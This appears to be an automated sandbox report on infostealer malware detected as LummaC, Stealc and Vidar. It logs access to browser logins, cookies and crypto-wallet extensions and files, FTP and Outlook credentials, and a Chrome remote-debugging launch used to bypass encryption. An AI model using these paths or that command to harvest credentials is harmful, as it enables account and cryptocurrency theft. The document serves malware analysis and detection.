Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2515038353.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1017b01294.exe PID: 4348, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 1017b01294.exe PID: 4348, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000023.00000002.2395891164.0000000000BB1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2426496041.000000000161E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1579443796.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1579011520.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1250626319.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2335768333.0000000005550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 474b2c9b63.exe PID: 8056, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5900, type: MEMORYSTR

